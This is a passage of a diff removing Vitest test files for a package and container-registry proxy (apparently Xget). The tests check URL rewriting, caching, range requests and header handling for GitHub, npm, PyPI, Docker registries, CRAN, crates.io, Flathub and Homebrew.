// Mock npm package metadata request
|
||||
const testUrl = 'https://example.com/npm/lodash';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
// This test would need actual npm registry response mocking
|
||||
// For now, just verify the request doesn't fail
|
||||
expect([200, 301, 302, 404, 500]).toContain(response.status);
|
||||
});
|
||||
|
||||
it('should preserve npm tarball URL structure', async () => {
|
||||
// Test that npm tarball URLs follow the correct pattern
|
||||
const testUrl = 'https://example.com/npm/react/-/react-18.2.0.tgz';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
// Should attempt to proxy correctly
|
||||
expect(response.status).not.toBe(400);
|
||||
});
|
||||
|
||||
it('should correctly rewrite npm URLs to preserve package names', () => {
|
||||
// Test the regex replacement logic directly
|
||||
const mockOriginalText = JSON.stringify({
|
||||
name: 'npm',
|
||||
versions: {
|
||||
'11.5.1': {
|
||||
dist: {
|
||||
tarball: 'https://registry.npmjs.org/npm/-/npm-11.5.1.tgz'
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Simulate the regex replacement that happens in the code
|
||||
const rewrittenText = mockOriginalText.replace(
|
||||
/https:\/\/registry.npmjs.org\/([^/]+)/g,
|
||||
'https://xget.xi-xu.me/npm/$1'
|
||||
);
|
||||
|
||||
const rewrittenData = JSON.parse(rewrittenText);
|
||||
|
||||
// Verify the URL is correctly rewritten with package name preserved
|
||||
expect(rewrittenData.versions['11.5.1'].dist.tarball).toBe(
|
||||
'https://xget.xi-xu.me/npm/npm/-/npm-11.5.1.tgz'
|
||||
);
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -1,306 +0,0 @@
|
||||
import { SELF } from 'cloudflare:test';
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
describe('Integration Tests', () => {
|
||||
describe('End-to-End Platform Integration', () => {
|
||||
it('should proxy GitHub file requests correctly', async () => {
|
||||
const testUrl = 'https://example.com/gh/microsoft/vscode/blob/main/package.json';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
// Should attempt to proxy to GitHub
|
||||
expect([200, 301, 302, 404]).toContain(response.status);
|
||||
|
||||
// Should include security headers
|
||||
expect(response.headers.get('Strict-Transport-Security')).toBeTruthy();
|
||||
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should handle GitHub raw file requests', async () => {
|
||||
const testUrl = 'https://example.com/gh/microsoft/vscode/raw/main/README.md';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
expect([200, 301, 302, 404]).toContain(response.status);
|
||||
});
|
||||
|
||||
it('should handle GitHub release downloads', async () => {
|
||||
const testUrl = 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
expect([200, 301, 302, 404, 408]).toContain(response.status);
|
||||
}, 60000);
|
||||
|
||||
it('should proxy GitLab file requests correctly', async () => {
|
||||
const testUrl = 'https://example.com/gl/gitlab-org/gitlab/-/raw/master/package.json';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
expect([200, 301, 302, 404]).toContain(response.status);
|
||||
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should handle Hugging Face model files', async () => {
|
||||
const testUrl = 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
expect([200, 301, 302, 404, 429]).toContain(response.status);
|
||||
}, 10000);
|
||||
|
||||
it('should handle npm package requests', async () => {
|
||||
const testUrl = 'https://example.com/npm/react';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
expect([200, 301, 302, 404]).toContain(response.status);
|
||||
});
|
||||
|
||||
it('should handle PyPI package requests', async () => {
|
||||
const testUrl = 'https://example.com/pypi/simple/requests/';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
expect([200, 301, 302, 404]).toContain(response.status);
|
||||
});
|
||||
|
||||
it('should handle conda package requests', async () => {
|
||||
const testUrl = 'https://example.com/conda/pkgs/main/linux-64/repodata.json';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
expect([200, 301, 302, 404]).toContain(response.status);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Caching Integration', () => {
|
||||
it('should cache responses appropriately', async () => {
|
||||
const testUrl = 'https://example.com/gh/test/repo/static-file.txt';
|
||||
|
||||
// First request
|
||||
const response1 = await SELF.fetch(testUrl);
|
||||
const metrics1 = response1.headers.get('X-Performance-Metrics');
|
||||
|
||||
// Second request (should potentially hit cache)
|
||||
const response2 = await SELF.fetch(testUrl);
|
||||
const metrics2 = response2.headers.get('X-Performance-Metrics');
|
||||
|
||||
expect(metrics1).toBeTruthy();
|
||||
expect(metrics2).toBeTruthy();
|
||||
|
||||
// Both requests should succeed
|
||||
expect(response1.status).toBe(response2.status);
|
||||
});
|
||||
|
||||
it('should not cache Git protocol requests', async () => {
|
||||
const testUrl = 'https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack';
|
||||
|
||||
const response = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
'User-Agent': 'git/2.34.1'
|
||||
}
|
||||
});
|
||||
|
||||
// Git requests should not be cached (no cache headers)
|
||||
expect(response.headers.get('Cache-Control') || '').not.toContain('max-age=1800');
|
||||
});
|
||||
});
|
||||
|
||||
describe('Error Handling Integration', () => {
|
||||
it('should handle upstream server errors gracefully', async () => {
|
||||
const testUrl = 'https://example.com/gh/nonexistent/repo/file.txt';
|
||||
const response = await SELF.fetch(testUrl);
|
||||
|
||||
// Should handle 404 from upstream gracefully
|
||||
expect([404, 502, 503]).toContain(response.status);
|
||||
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should handle network timeouts', async () => {
|
||||
// This would test timeout handling, but is difficult to simulate
|
||||
// in a unit test environment. In practice, this would be tested
|
||||
// with a mock server that delays responses.
|
||||
const testUrl = 'https://example.com/gh/test/repo/file.txt';
|
||||
const response = await SELF.fetch(testUrl);
|
||||
|
||||
// Should complete within reasonable time
|
||||
expect(response.status).toBeDefined();
|
||||
});
|
||||
|
||||
it('should retry failed requests', async () => {
|
||||
// Test retry mechanism by checking performance metrics
|
||||
const testUrl = 'https://example.com/gh/test/unreliable-endpoint';
|
||||
const response = await SELF.fetch(testUrl);
|
||||
|
||||
const metricsHeader = response.headers.get('X-Performance-Metrics');
|
||||
if (metricsHeader) {
|
||||
const metrics = JSON.parse(metricsHeader);
|
||||
// If retries occurred, there should be timing data
|
||||
expect(typeof metrics).toBe('object');
|
||||
}
|
||||
}, 20000);
|
||||
});
|
||||
|
||||
describe('Performance Integration', () => {
|
||||
it('should complete requests within reasonable time', async () => {
|
||||
const startTime = Date.now();
|
||||
const testUrl = 'https://example.com/gh/test/repo/small-file.txt';
|
||||
|
||||
const response = await SELF.fetch(testUrl);
|
||||
const endTime = Date.now();
|
||||
|
||||
const duration = endTime - startTime;
|
||||
|
||||
// Should complete within 30 seconds (timeout limit)
|
||||
expect(duration).toBeLessThan(30000);
|
||||
expect(response.status).toBeDefined();
|
||||
});
|
||||
|
||||
it('should include performance metrics in all responses', async () => {
|
||||
const testUrls = [
|
||||
'https://example.com/gh/test/repo/file.txt',
|
||||
'https://example.com/npm/test-package',
|
||||
'https://example.com/pypi/simple/test/'
|
||||
];
|
||||
|
||||
const responses = await Promise.all(testUrls.map(url => SELF.fetch(url, { method: 'HEAD' })));
|
||||
|
||||
for (const response of responses) {
|
||||
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
|
||||
}
|
||||
}, 20000);
|
||||
});
|
||||
|
||||
describe('Content Type Handling', () => {
|
||||
it('should preserve content types from upstream', async () => {
|
||||
const testCases = [
|
||||
{ url: 'https://example.com/gh/test/repo/image.png', expectedType: 'image' },
|
||||
{ url: 'https://example.com/gh/test/repo/data.json', expectedType: 'json' },
|
||||
{ url: 'https://example.com/gh/test/repo/style.css', expectedType: 'css' },
|
||||
{ url: 'https://example.com/gh/test/repo/script.js', expectedType: 'javascript' }
|
||||
];
|
||||
|
||||
for (const testCase of testCases) {
|
||||
const response = await SELF.fetch(testCase.url, { method: 'HEAD' });
|
||||
|
||||
if (response.status === 200) {
|
||||
const contentType = response.headers.get('Content-Type');
|
||||
if (contentType) {
|
||||
expect(contentType.toLowerCase()).toContain(testCase.expectedType);
|
||||
}
|
||||
}
|
||||
}
|
||||
}, 30000);
|
||||
});
|
||||
|
||||
describe('Range Request Support', () => {
|
||||
it('should support partial content requests', async () => {
|
||||
const testUrl = 'https://example.com/gh/test/repo/large-file.zip';
|
||||
const response = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
Range: 'bytes=0-1023'
|
||||
}
|
||||
});
|
||||
|
||||
// Should either support range requests (206) or return full content (200)
|
||||
expect([200, 206, 404]).toContain(response.status);
|
||||
|
||||
if (response.status === 206) {
|
||||
expect(response.headers.get('Content-Range')).toBeTruthy();
|
||||
}
|
||||
});
|
||||
|
||||
it('should handle range requests with proper caching strategy', async () => {
|
||||
const testUrl = 'https://example.com/gh/test/repo/test-file.pdf';
|
||||
|
||||
// First, make a regular request to cache the full content
|
||||
const fullResponse = await SELF.fetch(testUrl);
|
||||
|
||||
if (fullResponse.status === 200) {
|
||||
// Verify the response has proper headers for Range support
|
||||
expect(fullResponse.headers.get('Accept-Ranges')).toBe('bytes');
|
||||
expect(fullResponse.headers.get('Cache-Control')).toContain('public');
|
||||
|
||||
// Now make a range request
|
||||
const rangeResponse = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
Range: 'bytes=0-1023'
|
||||
}
|
||||
});
|
||||
|
||||
// Should either get partial content or full content
|
||||
expect([200, 206]).toContain(rangeResponse.status);
|
||||
|
||||
if (rangeResponse.status === 206) {
|
||||
expect(rangeResponse.headers.get('Content-Range')).toBeTruthy();
|
||||
expect(rangeResponse.headers.get('Content-Length')).toBe('1024');
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
it('should avoid compression for media files', async () => {
|
||||
const mediaFiles = [
|
||||
'https://example.com/gh/test/repo/video.mp4',
|
||||
'https://example.com/gh/test/repo/audio.mp3',
|
||||
'https://example.com/gh/test/repo/image.jpg',
|
||||
'https://example.com/gh/test/repo/archive.zip'
|
||||
];
|
||||
|
||||
for (const url of mediaFiles) {
|
||||
const response = await SELF.fetch(url, { method: 'HEAD' });
|
||||
|
||||
if (response.status === 200) {
|
||||
// Media files should have Accept-Ranges header for proper range support
|
||||
expect(response.headers.get('Accept-Ranges')).toBe('bytes');
|
||||
|
||||
// Should not be compressed if it's a media file
|
||||
const contentEncoding = response.headers.get('Content-Encoding');
|
||||
if (contentEncoding) {
|
||||
expect(['identity', null, undefined]).toContain(contentEncoding);
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
it('should cache only 200 responses, not 206 responses', async () => {
|
||||
const testUrl = 'https://example.com/gh/test/repo/large-document.pdf';
|
||||
|
||||
// Make a range request first
|
||||
const rangeResponse = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
Range: 'bytes=0-1023'
|
||||
}
|
||||
});
|
||||
|
||||
// Verify performance metrics don't show 206 caching attempts
|
||||
if (rangeResponse.status === 206) {
|
||||
const metrics = rangeResponse.headers.get('X-Performance-Metrics');
|
||||
if (metrics) {
|
||||
const parsedMetrics = JSON.parse(metrics);
|
||||
// Should not have cache_put_206_error or similar
|
||||
expect(parsedMetrics).not.toHaveProperty('cache_put_error');
|
||||
}
|
||||
}
|
||||
|
||||
// Follow up with a full request to ensure it gets cached properly
|
||||
const fullResponse = await SELF.fetch(testUrl);
|
||||
|
||||
if (fullResponse.status === 200) {
|
||||
expect(fullResponse.headers.get('Cache-Control')).toContain('public');
|
||||
expect(fullResponse.headers.get('Accept-Ranges')).toBe('bytes');
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('Cross-Platform Consistency', () => {
|
||||
it('should handle similar requests consistently across platforms', async () => {
|
||||
const testCases = [
|
||||
'https://example.com/gh/test/repo/README.md',
|
||||
'https://example.com/gl/test/repo/README.md'
|
||||
];
|
||||
|
||||
const responses = await Promise.all(
|
||||
testCases.map(url => SELF.fetch(url, { method: 'HEAD' }))
|
||||
);
|
||||
|
||||
// All responses should have consistent security headers
|
||||
responses.forEach((/** @type {Response} */ response) => {
|
||||
expect(response.headers.get('Strict-Transport-Security')).toBeTruthy();
|
||||
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -1,288 +0,0 @@
|
||||
import { SELF } from 'cloudflare:test';
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
describe('Container Registry Support', () => {
|
||||
describe('Docker API Version Check', () => {
|
||||
it('should handle /v2/ endpoint correctly', async () => {
|
||||
const response = await SELF.fetch('https://example.com/v2/');
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(response.headers.get('Docker-Distribution-Api-Version')).toBe('registry/2.0');
|
||||
expect(response.headers.get('Content-Type')).toBe('application/json');
|
||||
|
||||
const body = await response.text();
|
||||
expect(body).toBe('{}');
|
||||
});
|
||||
|
||||
it('should handle /v2 endpoint correctly', async () => {
|
||||
const response = await SELF.fetch('https://example.com/v2');
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(response.headers.get('Docker-Distribution-Api-Version')).toBe('registry/2.0');
|
||||
});
|
||||
});
|
||||
|
||||
describe('Container Registry URL Transformation', () => {
|
||||
it('should handle Quay.io registry requests', async () => {
|
||||
const testUrl = 'https://example.com/cr/quay/v2/quay/redis/manifests/latest';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
// Should attempt to proxy to Quay.io
|
||||
expect(response.status).not.toBe(400);
|
||||
});
|
||||
|
||||
it('should handle Google Container Registry requests', async () => {
|
||||
const testUrl = 'https://example.com/cr/gcr/v2/distroless/base/manifests/latest';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
// Should attempt to proxy to GCR
|
||||
expect(response.status).not.toBe(400);
|
||||
});
|
||||
|
||||
it('should handle GitHub Container Registry requests', async () => {
|
||||
const testUrl = 'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
// Should attempt to proxy to GHCR
|
||||
expect(response.status).not.toBe(400);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Docker Authentication', () => {
|
||||
it('should pass through 401 authentication challenges', async () => {
|
||||
// This test simulates an upstream 401 response which should be passed through
|
||||
const testUrl = 'https://example.com/cr/ghcr/v2/private/repo/manifests/latest';
|
||||
const response = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
|
||||
}
|
||||
});
|
||||
|
||||
// Should not convert 401 to 500 or other error codes
|
||||
if (response.status === 401) {
|
||||
// WWW-Authenticate header should be preserved
|
||||
expect(response.headers.has('WWW-Authenticate') || response.status === 401).toBeTruthy();
|
||||
}
|
||||
});
|
||||
|
||||
it('should handle container registry token requests', async () => {
|
||||
const testUrl = 'https://example.com/cr/ghcr/v2/auth';
|
||||
const response = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
Authorization: 'Basic dGVzdDp0ZXN0'
|
||||
}
|
||||
});
|
||||
|
||||
// Should attempt to proxy auth requests
|
||||
expect(response.status).not.toBe(400);
|
||||
}, 15000);
|
||||
|
||||
it('should transform scope parameter correctly for Docker Hub', async () => {
|
||||
// Test that scope parameter removes Xget path prefix
|
||||
const testUrl =
|
||||
'https://example.com/cr/docker/v2/auth?scope=repository:cr/docker/mlikiowa/napcat-docker:pull&service=Xget';
|
||||
const response = await SELF.fetch(testUrl);
|
||||
|
||||
// Should not return 400 Bad Request (which indicates malformed scope)
|
||||
expect(response.status).not.toBe(400);
|
||||
});
|
||||
|
||||
it('should transform scope parameter correctly for GHCR', async () => {
|
||||
// Test that scope parameter removes Xget path prefix
|
||||
const testUrl =
|
||||
'https://example.com/cr/ghcr/v2/auth?scope=repository:cr/ghcr/user/repo:pull&service=Xget';
|
||||
const response = await SELF.fetch(testUrl);
|
||||
|
||||
// Should not return 400 Bad Request (which indicates malformed scope)
|
||||
expect(response.status).not.toBe(400);
|
||||
});
|
||||
|
||||
it('should handle scope parameter for official Docker Hub images', async () => {
|
||||
// Test that scope parameter is transformed and adds library/ prefix for official images
|
||||
const testUrl =
|
||||
'https://example.com/cr/docker/v2/auth?scope=repository:cr/docker/nginx:pull&service=Xget';
|
||||
const response = await SELF.fetch(testUrl);
|
||||
|
||||
// Should not return 400 Bad Request
|
||||
expect(response.status).not.toBe(400);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Docker Request Detection', () => {
|
||||
it('should detect Docker requests by path', async () => {
|
||||
const response = await SELF.fetch(
|
||||
'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest',
|
||||
{
|
||||
method: 'GET'
|
||||
}
|
||||
);
|
||||
|
||||
// Should not reject with 405 (method not allowed)
|
||||
expect(response.status).not.toBe(405);
|
||||
});
|
||||
|
||||
it('should detect Docker requests by Accept header', async () => {
|
||||
const response = await SELF.fetch('https://example.com/cr/ghcr/v2/test/repo/manifests/tag', {
|
||||
headers: {
|
||||
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
|
||||
}
|
||||
});
|
||||
|
||||
// Should not reject with 405 (method not allowed)
|
||||
expect(response.status).not.toBe(405);
|
||||
});
|
||||
|
||||
it('should detect Docker requests by User-Agent', async () => {
|
||||
const response = await SELF.fetch('https://example.com/cr/ghcr/v2/test/repo/manifests/tag', {
|
||||
headers: {
|
||||
'User-Agent': 'docker/20.10.7'
|
||||
}
|
||||
});
|
||||
|
||||
// Should not reject with 405 (method not allowed)
|
||||
expect(response.status).not.toBe(405);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Docker HTTP Methods', () => {
|
||||
it('should allow GET for manifest requests', async () => {
|
||||
const response = await SELF.fetch(
|
||||
'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest',
|
||||
{
|
||||
method: 'GET'
|
||||
}
|
||||
);
|
||||
|
||||
expect(response.status).not.toBe(405);
|
||||
});
|
||||
|
||||
it('should allow HEAD for manifest requests', async () => {
|
||||
const response = await SELF.fetch(
|
||||
'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest',
|
||||
{
|
||||
method: 'HEAD'
|
||||
}
|
||||
);
|
||||
|
||||
expect(response.status).not.toBe(405);
|
||||
});
|
||||
|
||||
it('should allow PUT for manifest uploads', async () => {
|
||||
const response = await SELF.fetch('https://example.com/cr/ghcr/v2/test/repo/manifests/tag', {
|
||||
method: 'PUT',
|
||||
headers: {
|
||||
'Content-Type': 'application/vnd.docker.distribution.manifest.v2+json'
|
||||
},
|
||||
body: JSON.stringify({
|
||||
schemaVersion: 2,
|
||||
mediaType: 'application/vnd.docker.distribution.manifest.v2+json'
|
||||
})
|
||||
});
|
||||
|
||||
expect(response.status).not.toBe(405);
|
||||
});
|
||||
|
||||
it('should allow POST for blob uploads', async () => {
|
||||
const response = await SELF.fetch('https://example.com/cr/ghcr/v2/test/repo/blobs/uploads/', {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/octet-stream'
|
||||
}
|
||||
});
|
||||
|
||||
expect(response.status).not.toBe(405);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Container Registry Error Handling', () => {
|
||||
it('should reject non-cr prefixed Docker requests', async () => {
|
||||
const response = await SELF.fetch(
|
||||
'https://example.com/v2/nginxinc/nginx-unprivileged/manifests/latest'
|
||||
);
|
||||
|
||||
expect(response.status).toBe(400);
|
||||
expect(await response.text()).toContain('container registry requests must use /cr/ prefix');
|
||||
});
|
||||
});
|
||||
|
||||
describe('Container Registry Headers', () => {
|
||||
it('should preserve container-specific headers', async () => {
|
||||
const response = await SELF.fetch(
|
||||
'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest',
|
||||
{
|
||||
headers: {
|
||||
'Container-Content-Digest': 'sha256:abc123',
|
||||
Accept: 'application/vnd.docker.distribution.manifest.v2+json',
|
||||
Authorization: 'Bearer token123'
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
// Should not reject Docker-specific headers
|
||||
expect(response.status).not.toBe(400);
|
||||
});
|
||||
|
||||
it('should not cache container registry responses', async () => {
|
||||
const testUrl = 'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest';
|
||||
|
||||
const response = await SELF.fetch(testUrl);
|
||||
|
||||
// Container registry responses should not be cached
|
||||
const cacheControl = response.headers.get('Cache-Control');
|
||||
if (cacheControl) {
|
||||
expect(cacheControl).not.toContain('max-age=1800');
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('Docker Hub Specific Tests', () => {
|
||||
it('should handle Docker Hub official images (single-name images)', async () => {
|
||||
// Official images like nginx, redis are stored as library/nginx in Docker Hub
|
||||
const testUrl = 'https://example.com/cr/docker/v2/nginx/manifests/latest';
|
||||
const response = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
|
||||
}
|
||||
});
|
||||
|
||||
// Should attempt to proxy to Docker Hub
|
||||
expect(response.status).not.toBe(400);
|
||||
}, 30000);
|
||||
|
||||
it('should handle Docker Hub user images (namespace/image format)', async () => {
|
||||
// User images already have namespace prefix
|
||||
const testUrl =
|
||||
'https://example.com/cr/docker/v2/nginxinc/nginx-unprivileged/manifests/latest';
|
||||
const response = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
|
||||
}
|
||||
});
|
||||
|
||||
// Should attempt to proxy to Docker Hub
|
||||
expect(response.status).not.toBe(400);
|
||||
}, 30000);
|
||||
|
||||
it('should allow GET for Docker Hub manifest requests', async () => {
|
||||
const response = await SELF.fetch('https://example.com/cr/docker/v2/nginx/manifests/latest', {
|
||||
method: 'GET',
|
||||
headers: {
|
||||
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
|
||||
}
|
||||
});
|
||||
|
||||
expect(response.status).not.toBe(405);
|
||||
});
|
||||
|
||||
it('should allow HEAD for Docker Hub manifest requests', async () => {
|
||||
const response = await SELF.fetch('https://example.com/cr/docker/v2/nginx/manifests/latest', {
|
||||
method: 'HEAD',
|
||||
headers: {
|
||||
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
|
||||
}
|
||||
});
|
||||
|
||||
expect(response.status).not.toBe(405);
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -1,54 +0,0 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { PLATFORM_CATALOG as PLATFORMS } from '../../src/config/platform-catalog.js';
|
||||
import { transformPath } from '../../src/routing/platform-transformers.js';
|
||||
|
||||
describe('CRAN Platform Configuration', () => {
|
||||
it('should have CRAN platform configured', () => {
|
||||
expect(PLATFORMS.cran).toBe('https://cran.r-project.org');
|
||||
});
|
||||
|
||||
it('should transform CRAN paths correctly', () => {
|
||||
const testCases = [
|
||||
{
|
||||
input: '/cran/src/contrib/ggplot2_3.5.2.tar.gz',
|
||||
expected: '/src/contrib/ggplot2_3.5.2.tar.gz',
|
||||
description: 'package source file'
|
||||
},
|
||||
{
|
||||
input: '/cran/web/packages/dplyr/DESCRIPTION',
|
||||
expected: '/web/packages/dplyr/DESCRIPTION',
|
||||
description: 'package description file'
|
||||
},
|
||||
{
|
||||
input: '/cran/bin/windows/contrib/4.3/ggplot2_3.4.4.zip',
|
||||
expected: '/bin/windows/contrib/4.3/ggplot2_3.4.4.zip',
|
||||
description: 'Windows binary package'
|
||||
},
|
||||
{
|
||||
input: '/cran/bin/macosx/big-sur-arm64/contrib/4.3/ggplot2_3.4.4.tgz',
|
||||
expected: '/bin/macosx/big-sur-arm64/contrib/4.3/ggplot2_3.4.4.tgz',
|
||||
description: 'macOS binary package'
|
||||
},
|
||||
{
|
||||
input: '/cran/web/packages/packages.rds',
|
||||
expected: '/web/packages/packages.rds',
|
||||
description: 'package index file'
|
||||
}
|
||||
];
|
||||
|
||||
testCases.forEach(({ input, expected, description }) => {
|
||||
const result = transformPath(input, 'cran');
|
||||
expect(result, `Failed for ${description}: ${input}`).toBe(expected);
|
||||
});
|
||||
});
|
||||
|
||||
it('should handle root path correctly', () => {
|
||||
const result = transformPath('/cran/', 'cran');
|
||||
expect(result).toBe('/');
|
||||
});
|
||||
|
||||
it('should handle paths without platform prefix', () => {
|
||||
const result = transformPath('/src/contrib/ggplot2_3.5.2.tar.gz', 'cran');
|
||||
expect(result).toBe('/src/contrib/ggplot2_3.5.2.tar.gz');
|
||||
});
|
||||
});
|
||||
@@ -1,34 +0,0 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { transformPath } from '../../src/routing/platform-transformers.js';
|
||||
|
||||
describe('crates.io path transformation', () => {
|
||||
it('should transform crate download URLs correctly', () => {
|
||||
const path = '/crates/serde/1.0.0/download';
|
||||
const result = transformPath(path, 'crates');
|
||||
expect(result).toBe('/api/v1/crates/serde/1.0.0/download');
|
||||
});
|
||||
|
||||
it('should transform crate metadata URLs correctly', () => {
|
||||
const path = '/crates/serde';
|
||||
const result = transformPath(path, 'crates');
|
||||
expect(result).toBe('/api/v1/crates/serde');
|
||||
});
|
||||
|
||||
it('should transform crate version URLs correctly', () => {
|
||||
const path = '/crates/serde/1.0.0';
|
||||
const result = transformPath(path, 'crates');
|
||||
expect(result).toBe('/api/v1/crates/serde/1.0.0');
|
||||
});
|
||||
|
||||
it('should transform search URLs correctly', () => {
|
||||
const path = '/crates/?q=serde';
|
||||
const result = transformPath(path, 'crates');
|
||||
expect(result).toBe('/api/v1/crates?q=serde');
|
||||
});
|
||||
|
||||
it('should transform root crates URL correctly', () => {
|
||||
const path = '/crates/';
|
||||
const result = transformPath(path, 'crates');
|
||||
expect(result).toBe('/api/v1/crates');
|
||||
});
|
||||
});
|
||||
@@ -1,57 +0,0 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { PLATFORM_CATALOG as PLATFORMS } from '../../src/config/platform-catalog.js';
|
||||
import { transformPath } from '../../src/routing/platform-transformers.js';
|
||||
|
||||
describe('Flathub Platform Configuration', () => {
|
||||
it('should have Flathub platform configured', () => {
|
||||
expect(PLATFORMS.flathub).toBe('https://dl.flathub.org');
|
||||
});
|
||||
|
||||
it('should transform Flathub repository paths correctly', () => {
|
||||
const testCases = [
|
||||
{
|
||||
input: '/flathub/repo/summary',
|
||||
expected: '/repo/summary',
|
||||
description: 'repository summary'
|
||||
},
|
||||
{
|
||||
input: '/flathub/repo/summary.sig',
|
||||
expected: '/repo/summary.sig',
|
||||
description: 'repository summary signature'
|
||||
},
|
||||
{
|
||||
input: '/flathub/repo/flathub.flatpakrepo',
|
||||
expected: '/repo/flathub.flatpakrepo',
|
||||
description: 'remote descriptor'
|
||||
},
|
||||
{
|
||||
input: '/flathub/repo/appstream/org.gnome.gedit.flatpakref',
|
||||
expected: '/repo/appstream/org.gnome.gedit.flatpakref',
|
||||
description: 'application reference'
|
||||
},
|
||||
{
|
||||
input: '/flathub/repo/objects/12/34567890abcdef.filez',
|
||||
expected: '/repo/objects/12/34567890abcdef.filez',
|
||||
description: 'content-addressed object'
|
||||
},
|
||||
{
|
||||
input: '/flathub/repo/deltas/ABCD.superblock',
|
||||
expected: '/repo/deltas/ABCD.superblock',
|
||||
description: 'static delta'
|
||||
}
|
||||
];
|
||||
|
||||
testCases.forEach(({ input, expected, description }) => {
|
||||
const result = transformPath(input, 'flathub');
|
||||
expect(result, `Failed for ${description}: ${input}`).toBe(expected);
|
||||
});
|
||||
});
|
||||
|
||||
it('should handle root path correctly', () => {
|
||||
expect(transformPath('/flathub/', 'flathub')).toBe('/');
|
||||
});
|
||||
|
||||
it('should preserve already transformed Flathub repository paths', () => {
|
||||
expect(transformPath('/repo/summary', 'flathub')).toBe('/repo/summary');
|
||||
});
|
||||
});
|
||||
@@ -1,76 +0,0 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { transformPath } from '../../src/routing/platform-transformers.js';
|
||||
|
||||
describe('Homebrew path transformation', () => {
|
||||
describe('homebrew-api platform', () => {
|
||||
it('should handle formula API paths correctly', () => {
|
||||
const path = '/homebrew/api/formula/git.json';
|
||||
const result = transformPath(path, 'homebrew-api');
|
||||
expect(result).toBe('/formula/git.json');
|
||||
});
|
||||
|
||||
it('should handle cask API paths correctly', () => {
|
||||
const path = '/homebrew/api/cask/docker.json';
|
||||
const result = transformPath(path, 'homebrew-api');
|
||||
expect(result).toBe('/cask/docker.json');
|
||||
});
|
||||
|
||||
it('should handle formula list API paths correctly', () => {
|
||||
const path = '/homebrew/api/formula.json';
|
||||
const result = transformPath(path, 'homebrew-api');
|
||||
expect(result).toBe('/formula.json');
|
||||
});
|
||||
|
||||
it('should handle cask list API paths correctly', () => {
|
||||
const path = '/homebrew/api/cask.json';
|
||||
const result = transformPath(path, 'homebrew-api');
|
||||
expect(result).toBe('/cask.json');
|
||||
});
|
||||
});
|
||||
|
||||
describe('homebrew-bottles platform', () => {
|
||||
it('should handle bottle manifest paths correctly', () => {
|
||||
const path = '/homebrew/bottles/v2/homebrew/core/git/manifests/2.39.0';
|
||||
const result = transformPath(path, 'homebrew-bottles');
|
